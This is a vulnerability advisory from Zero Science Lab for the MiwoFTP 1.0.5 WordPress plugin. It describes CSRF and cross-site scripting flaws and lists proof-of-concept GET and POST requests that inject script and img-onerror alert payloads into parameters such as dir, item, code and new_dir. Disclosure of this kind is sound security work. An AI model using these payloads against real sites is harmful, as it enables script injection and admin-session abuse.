WordPress MiwoFTP Plugin 1.0.5 Multiple CSRF XSS Vulnerabilities Vendor: Miwisoft LLC Product web page: http://www.miwisoft.com Affected version: 1.0.5 Summary: MiwoFTP is a smart, fast and lightweight file manager plugin that operates from the back-end of WordPress. Desc: MiwoFTP WP Plugin suffers from multiple cross-site request forgery and xss vulnerabilities. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Input passed to several GET/POST parameters is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Apache 2.4.10 (Win32) PHP 5.6.3 MySQL 5.6.21 Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5241 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5241.php Vendor: http://miwisoft.com/wordpress-plugins/miwoftp-wordpress-file-manager#changelog 24.03.2015 -- GET: (params: dir, item, order, srt) ------------------------------- /wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=list&dir=wp-content"><script>alert(1)</script>&order=name&srt=yes /wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&dir=wp-content%2Fuploads&item=test.php"><img%20src%3da%20onerror%3dalert(2)>&order=name&srt=yes /wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=search&order=name"><script>alert(3)</script>&srt=yes&searchitem=test&subdir=y /wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=search&order=name&srt=yes"><script>alert(4)</script> --- POST: (params: code, fname, new_dir, newitems[], searchitem, selitems[]) ------------------------------------------------------------------ /wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=edit&dir=wp-content%2Fuploads%2F2015&item=test.php&order=name&srt=yes - dosave=yes&code="><script>alert(1)</script>&fname=test.php /wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=edit&dir=wp-content%2Fuploads%2F2015&item=test.php&order=name&srt=yes - dosave=yes&code=1&fname=test.php"><img%20src%3da%20onerror%3dalert(2)> /wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=post&dir=wp-content%2Fuploads&order=name&srt=yes - do_action=copy&confirm=false&first=n&new_dir=wp-content%2Fuploads%2F1"><script>alert(3)</script>&selitems%5B%5D=test&newitems%5B%5D=test.php /wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=post&dir=wp-content%2Fuploads&order=name&srt=yes - do_action=copy&confirm=false&first=n&new_dir=wp-content%2Fuploads%2F2015&selitems%5B%5D=test&newitems%5B%5D=test.php"><script>alert(4)</script> /wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=search&order=name&srt=yes - searchitem=test"><script>alert(5)</script>&subdir=y /wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=arch&dir=wp-content%2Fuploads&order=name&srt=yes - selitems%5B%5D=test.zip"><script>alert(6)</script>&name=test&type=zip